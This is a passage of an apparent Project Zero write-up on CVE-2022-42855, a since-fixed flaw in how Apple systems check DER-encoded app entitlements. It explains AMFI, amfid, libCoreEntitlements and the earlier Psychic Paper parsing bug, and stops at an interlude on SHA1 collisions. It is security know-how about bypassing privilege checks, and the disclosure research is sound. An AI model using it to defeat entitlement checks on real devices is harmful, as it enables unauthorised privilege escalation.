;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c26 doc-content"><div>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p></div>
<p class="wUhACgDjbS-c1"><span>Posted by </span><span class="wUhACgDjbS-c6">Ivan Fratric, Project Zero</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c13 wUhACgDjbS-c29 wUhACgDjbS-c30 wUhACgDjbS-c31">Note: The vulnerability discussed here, CVE-2022-42855, was fixed in iOS 15.7.2 and macOS Monterey 12.6.2. While the vulnerability did not appear to be exploitable on iOS 16 and macOS Ventura, iOS 16.2 and macOS Ventura 13.1 nevertheless shipped hardening changes related to it.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Last year, I spent a lot of time researching the security of applications built on top of </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://en.wikipedia.org/wiki/XMPP">XMPP</a></span><span>, an instant messaging protocol based on XML. More specifically, my research focused on how subtle quirks in XML parsing can be used to undermine the security of such applications. (If you are interested in learning more about that research, I did a talk on it at Black Hat USA 2022. The slides and the recording can be found </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://www.blackhat.com/us-22/briefings/schedule/index.html#xmpp-stanza-smuggling-or-how-i-hacked-zoom-26618">here</a></span><span> and </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://www.youtube.com/watch?v=ERaRNsvCBrw">here</a></span><span class="wUhACgDjbS-c6">).</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>At some point, when a part of my research was published, people pointed out other examples (unrelated to XMPP) where quirks in XML parsing led to security vulnerabilities. One of those examples was a vulnerability dubbed </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://blog.siguza.net/psychicpaper/">Psychic Paper</a></span><span>, a really neat vulnerability in the way Apple operating system checks what </span><span class="wUhACgDjbS-c29">entitlements</span><span class="wUhACgDjbS-c6"> an application has.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Entitlements are one of the core security concepts of Apple’s operating systems. As </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://developer.apple.com/documentation/bundleresources/entitlements?language=objc">Apple’s documentation</a></span><span class="wUhACgDjbS-c6"> explains, “An entitlement is a right or privilege that grants an executable particular capabilities.” For example, an application on an Apple operating system can’t debug another application without possessing proper entitlements, even if those two applications run as the same user. Even applications running as root can’t perform all actions (such as accessing some of the kernel APIs) without appropriate entitlements.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Psychic Paper was a vulnerability in the way entitlements were checked. Entitlements were stored inside the application’s signature blob in the XML format, so naturally the operating system needed to parse those at some point using an XML parser. The problem was that the OS didn’t have a single parser for this, but rather a staggering four parsers that were used in different places in the operating system. One parser was used for the initial check that the application only has permitted entitlements, and a different parser was later used when checking whether the application has an entitlement to perform a specific action</span><span>.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">When giving my talk on XMPP, I gave a challenge to the audience: Find me two different XML parsers that always, for every input, result in the same output. The reason why that is difficult is because XML, although intended to be a simple format, in reality is anything but simple. So it shouldn’t come as a surprise that a way was found for one of Apple's XML parsers to return one set of entitlements and another parser to see a different set of entitlements when parsing the same entitlements blob.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">The fix for the Psychic Paper bug: originally, the problem occurred because Apple had four XML parsers in the OS, so, surprisingly, the fix was to add a fifth one.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">So, after my XMPP research, when I learned about the Psychic Paper bug, I decided to take a look at these XML parsers and see if I can somehow find another way to trigger the bug even after the fix. After playing with various Apple XML parsers, I had an XML snippet I wanted to try out. However when I actually tried to use it in an application, I discovered that the system for checking entitlements behaved completely differently than I thought. This was because of…</span></p><h2 class="wUhACgDjbS-c9" id="h.143u383vs24"><span class="wUhACgDjbS-c11 wUhACgDjbS-c21">DER Entitlements</span></h2>
<p class="wUhACgDjbS-c1"><span>According to </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://developer.apple.com/documentation/xcode/using-the-latest-code-signature-format">Apple developer documentation</a></span><span>, “Starting in iOS 15, iPadOS 15, tvOS 15, and watchOS 8, the system checks for a new, more secure signature format that uses Distinguished Encoding Rules, or DER, to embed entitlements into your app’s signature”. As </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://developer.apple.com/documentation/technotes/tn3125-inside-code-signing-provisioning-profiles#The-future-is-DER">another Apple article</a></span><span class="wUhACgDjbS-c6"> boldly proclaims, “The future is DER”.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">So, what is DER?</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Unlike the previous text-based XML format, </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://en.wikipedia.org/wiki/X.690#DER_encoding">DER</a></span><span> is a binary format, also commonly used in digital certificates. The format is specified in the </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf">X.690 standard</a></span><span class="wUhACgDjbS-c6">.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">DER follows relatively simple type-length-data encoding rules. An image from the specification illustrates that:</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_ctQx4QBRr-XKiIsWHuUO3d6r1cbG935MHyu2EXDNwm1tWeaGC1A5yniZErHOJ8qqwg185tDe6tU4u8ObWuPf-0CnLI9Pk5QhdQBOKcK6YAzqg30Xz1cuDtkcX9ryZ70vGbk3JKVwwkB0ozGkW6jqEIl-Q7jpeQZTM0PXmGtbsB7g1ApOut3xBwOX/s599/image2.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_ctQx4QBRr-XKiIsWHuUO3d6r1cbG935MHyu2EXDNwm1tWeaGC1A5yniZErHOJ8qqwg185tDe6tU4u8ObWuPf-0CnLI9Pk5QhdQBOKcK6YAzqg30Xz1cuDtkcX9ryZ70vGbk3JKVwwkB0ozGkW6jqEIl-Q7jpeQZTM0PXmGtbsB7g1ApOut3xBwOX/s599/image2.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>The Identifier field encodes the object type, which can be a primitive (e.g. a string or a boolean), but also a </span><span class="wUhACgDjbS-c29">constructed</span><span class="wUhACgDjbS-c6"> type (an object containing other objects, e.g. an array/sequence). The length field encodes the number of bytes in the content. Length can be encoded differently, depending on the length of content (e.g. if content is smaller than 128 bytes, then the length field only takes a single byte). Length field is followed by the content itself. In case of constructed types, the content is also encoded using the same encoding rules.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>An </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://developer.apple.com/documentation/technotes/tn3125-inside-code-signing-provisioning-profiles#The-future-is-DER">example from Apple developer documentation</a></span><span class="wUhACgDjbS-c6"> shows what DER-encoded entitlements might look like:</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><a id="t.b0d92d5a95e353be337a6acc5beb2363c4a55559"></a><a id="t.0"></a><table class="wUhACgDjbS-c16"><tr class="wUhACgDjbS-c14"><td class="wUhACgDjbS-c33" colspan="1" rowspan="1">
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">appl </span><span class="wUhACgDjbS-c0">[</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">16</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> </span><span class="wUhACgDjbS-c0">]</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> INTEGER </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">01</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> cont </span><span class="wUhACgDjbS-c0">[</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">16</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> </span><span class="wUhACgDjbS-c0">]</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">application</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">identifier</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">SKMME9E2Y8</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">com</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">example</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">apple</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">samplecode</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">ProfileExplainer</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">com</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">apple</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">developer</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">team</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">identifier</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">SKMME9E2Y8</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">get</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">task</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">allow</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> BOOLEAN </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">255</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">keychain</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">access</span><span class="wUhACgDjbS-c0">-</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5">groups</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> SEQUENCE </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">SKMME9E2Y8</span><span class="wUhACgDjbS-c0">.*</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c13"> UTF8STRING </span><span class="wUhACgDjbS-c0">:</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">com</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">apple</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c13">token</span></p></td></tr></table>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Each individual entitlement is a sequence which has two elements: a key and a value, e.g. “get-task-allow”:boolean(true). All entitlements are also a part of a constructed type (denoted as “</span><span class="wUhACgDjbS-c4">cont [ 16 ]</span><span class="wUhACgDjbS-c6">” in the listing).</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">DER is meant to have unique binary representation and replacing XML with DER was very likely motivated, at least in part, by preventing issues such as Psychic Paper. But does it necessarily succeed in that goal?</span></p><h2 class="wUhACgDjbS-c9" id="h.xx7qiyjgj2wn"><span>How entitlements are checked</span></h2>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">To understand how entitlements are checked, it is useful to also look at the bigger picture and understand what security/integrity checks Apple operating systems perform on binaries before (and in some cases, while) running them.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Integrity information in Apple binaries is stored in a structure called the </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/apple-oss-distributions/Security/blob/e4ea024c9bbd3bfda30ec6df270bfb4c7438d1a9/OSX/libsecurity_codesigning/lib/sigblob.h#L43">Embedded Signature Blob</a></span><span class="wUhACgDjbS-c6">. This structure is a container for various other structures that play a role in integrity checking: The digital signature itself, but also entitlements and an important structure called the Code Directory. The Code Directory contains a hash of every page in the binary (up to the Signature Blob), but also other information, including the hash of the entitlements blob. The hash of the CodeDirectory is called cdHash and it is used to uniquely identify the binary. For example, it is cdHash that the digital signature actually signs. Since Code Directory contains a hash of the entitlements blob, note that any change to entitlements will lead to cdHash being different.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">As also noted in the Psychic Paper writeup, there are several ways a binary might be signed:</span></p><ul style="padding: 0;" class="c25 lst-kix_o4b5kflpgafe-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">The cdHash of the binary could be in the system’s Trust Cache, which stores the hashes of system binaries.</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">The binary could be signed by the Apple App Store.</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>The binary could be signed by the developer, but in that case it must reference a “Provisioning Profile” signed by Apple.</span></li><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span class="wUhACgDjbS-c6">On macOS only, a binary could also be self-signed.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c2"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">We are mostly interested in the last two cases, because they are the only ones that allow us to provide custom entitlements. However, in those cases, any entitlements a binary has must either be a subset of those allowed by the provisioning profile created by Apple (in the “provisioning profile” case) or entitlements must only contain those whitelisted by the OS (in the self-signed case). That is, unless one has a vulnerability like Psychic Paper.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>An entrypoint into file integrity checks is the </span><span class="wUhACgDjbS-c4">vnode_check_signature</span><span> function inside the </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity</span><span> kernel extension. </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity</span><span> is the kernel component of integrity checking, but there is also the userspace demon: </span><span class="wUhACgDjbS-c4">amfid</span><span> which </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity</span><span class="wUhACgDjbS-c6"> uses to perform certain actions as noted further in the text.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>We are not going to analyze the full behavior of </span><span class="wUhACgDjbS-c4">vnode_check_signature</span><span class="wUhACgDjbS-c6">. However, I will highlight the most important actions and those relevant to understanding DER entitlements workflow:</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_mk2jd2ji027g-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>First, </span><span class="wUhACgDjbS-c4">vnode_check_signature </span><span>retrieves the entitlements in the DER format. If the currently loaded binary does not contain DER entitlements and only contains entitlements in the XML format, </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity </span><span>calls </span><span class="wUhACgDjbS-c4">transmuteEntitlementsInDaemon</span><span> which uses </span><span class="wUhACgDjbS-c4">amfid</span><span> to convert entitlements from XML into DER format. The conversion itself is done via </span><span class="wUhACgDjbS-c4">CFPropertyListCreateWithData</span><span> (to convert XML to CFDictionary) and </span><span class="wUhACgDjbS-c4">CESerializeCFDictionary</span><span class="wUhACgDjbS-c6"> (which converts CFDictionary to DER representation).</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c2"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_mk2jd2ji027g-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Checks on the signature are performed using the CoreTrust library by calling </span><span class="wUhACgDjbS-c4">CTEvaluateAMFICodeSignatureCMS</span><span>. This process has recently been documented in </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://worthdoingbadly.com/coretrust/">another vulnerability writeup</a></span><span> and will not be examined in detail as it does not relate to entitlements directly</span><span class="wUhACgDjbS-c6">.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_mk2jd2ji027g-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Additional checks on the signature and entitlements are performed in </span><span class="wUhACgDjbS-c4">amfid</span><span> via the </span><span class="wUhACgDjbS-c4">verify_code_directory</span><span> function. This call will be analyzed in-depth later. One interesting detail about this interaction is that </span><span class="wUhACgDjbS-c4">amfid</span><span> receives the path to the executable as a parameter. In order to prevent race conditions where the file was changed between being loaded by kernel and checked by </span><span class="wUhACgDjbS-c4">amfid</span><span>, </span><span class="wUhACgDjbS-c4">amfid</span><span class="wUhACgDjbS-c6"> returns the cdHash of the checked file. It is then verified that this cdHash matches the cdHash of the file in the kernel.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_mk2jd2ji027g-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Provisioning profile information is retrieved and it is checked that the entitlements in the binary are a subset of the entitlements in the provisioning profile. This is done with the </span><span class="wUhACgDjbS-c4">CEContextIsSubset</span><span> function. This step does not appear to be present on macOS running on Intel CPUs, however even in that case, the entitlements are still checked in </span><span class="wUhACgDjbS-c4">amfid</span><span class="wUhACgDjbS-c6"> as will be shown below.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>The </span><span class="wUhACgDjbS-c4">verify_code_directory</span><span> function of </span><span class="wUhACgDjbS-c4">amfid</span><span class="wUhACgDjbS-c6"> performs (among other things) the following actions:</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_n26z3gtxgors-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Parses the binary and extracts all the relevant information for integrity checking. The code that does that is part of the open-source </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/apple-oss-distributions/Security">Security</a></span><span> library and the two most relevant classes here are </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/apple-oss-distributions/Security/blob/e4ea024c9bbd3bfda30ec6df270bfb4c7438d1a9/OSX/libsecurity_codesigning/lib/StaticCode.cpp">StaticCode</a></span><span> and </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/apple-oss-distributions/Security/blob/e4ea024c9bbd3bfda30ec6df270bfb4c7438d1a9/OSX/libsecurity_codesigning/lib/SecStaticCode.cpp">SecStaticCode</a></span><span>. This code is also responsible for extracting the DER-encoded entitlements. Once again, if only XML-encoded entitlements are present, they get converted to DER format. This is, once again, done by the </span><span class="wUhACgDjbS-c4">CFPropertyListCreateWithData</span><span> and </span><span class="wUhACgDjbS-c4">CESerializeCFDictionary</span><span> pair of functions. Additionally, for later use, entitlements are also converted to CFDictionary representation. This conversion from DER to CFDictionary is done using the </span><span class="wUhACgDjbS-c4">CEManagedContextFromCFData</span><span> and </span><span class="wUhACgDjbS-c4">CEQueryContextToCFDictionary</span><span class="wUhACgDjbS-c6"> function pair.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c2"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_n26z3gtxgors-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>Checks that the signature signs the correct cdHash and checks the signature itself. The checking of the digital signature certificate chain isn’t actually done by the </span><span class="wUhACgDjbS-c4">amfid</span><span> process. </span><span class="wUhACgDjbS-c4">amfid</span><span> </span><span>call</span><span>s into </span><span class="wUhACgDjbS-c4">trustd</span><span class="wUhACgDjbS-c6"> for that.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_n26z3gtxgors-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>On macOS, the entitlements contained in the binary are filtered into restricted and unrestricted ones. On macOS, the unrestricted entitlements are </span><span class="wUhACgDjbS-c4">com.apple.application-identifier</span><span>, </span><span class="wUhACgDjbS-c4">com.apple.security.application-groups*</span><span>, </span><span class="wUhACgDjbS-c4">com.apple.private.signing-identifier</span><span> and </span><span class="wUhACgDjbS-c4">com.apple.security.*</span><span>. If the binary contains </span><span>any entitlements</span><span> not listed above, it needs to be checked against a provisioning profile. The check here relies on the entitlements CFDictionary, extracted earlier in </span><span class="wUhACgDjbS-c4">amfid</span><span class="wUhACgDjbS-c6">.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Later, when the binary runs, if the operating system wants to check that the binary contains an entitlement to perform a specific action, it can do this in several ways. The “old way” of doing this is to retrieve a dictionary representation of entitlements and query a dictionary for a specific key. However, there is also a new API for querying entitlements, where the caller first creates a </span><span class="wUhACgDjbS-c4">CEQuery</span><span> object containing the entitlement key they want to query (and, optionally, the expected value) and then performs the query by calling </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span> function with the </span><span class="wUhACgDjbS-c4">CEQuery</span><span> object as a parameter. For example, the </span><span class="wUhACgDjbS-c4">IOTaskHasEntitlement</span><span class="wUhACgDjbS-c6"> function, which takes an entitlement name and returns bool relies on the latter API.</span></p><h2 class="wUhACgDjbS-c9" id="h.a9n48gmjlgpm"><span>libCoreEntitlements</span></h2>
<p class="wUhACgDjbS-c1"><span>You might have noticed that a lot of functions for interacting with DER entitlements start with the letters “CE”, such as </span><span class="wUhACgDjbS-c4">CEQueryContextToCFDictionary</span><span> or </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span>. Here, CE stands for libCoreEntitlements, which is a new library created specifically for DER-encoded entitlements. libCoreEntitlements is present both in the userspace (as libCoreEntitlements.dylib) and in the OS kernel (as a part of </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity</span><span class="wUhACgDjbS-c6"> kernel extension). So any vulnerability related to parsing the DER entitlement format would be located there.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">“There are no vulnerabilities here”, I declared in one of the Project Zero team meetings. At the time, I based this claim on the following:</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_h97ui6n3g8c8-0 start"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>There is a single library for parsing DER entitlements, unlike the </span><span>four</span><span class="wUhACgDjbS-c6">/five used for XML entitlements. While there are two versions of the library, in userspace and kernel, those appear to be the same. Thus, there is no potential for parsing differential bugs like Psychic Paper. In addition to this, binary formats are much less susceptible to such issues in the first place.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c2"><span class="wUhACgDjbS-c6"></span></p><ul style="padding: 0;" class="c25 lst-kix_h97ui6n3g8c8-0"><li style="margin-left: 46pt;" class="c1 c19 li-bullet-0"><span>The library is </span><span>quite</span><span class="wUhACgDjbS-c6"> small. I both reviewed and fuzzed the library for memory corruption vulnerabilities and didn’t find anything.</span></li></ul>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">It turns out I was completely wrong (as it often happens when someone declares code is bug free). But first…</span></p><h2 class="wUhACgDjbS-c9" id="h.oj2j45cupao4"><span class="wUhACgDjbS-c11 wUhACgDjbS-c21">Interlude: SHA1 Collisions</span></h2>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">After my failure to find a good libCoreEntitlements bug, I turned to other ideas. One thing I noticed when digging into Apple integrity checks is that SHA1 is still supported as a valid hash type for Code Directory / cdHash. Since practical SHA1 collision attacks have been known for some time, I wanted to see if they can somehow be applied to break the entitlement check.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">It should be noted that there are two kinds of SHA1 collision attacks:</span></p>
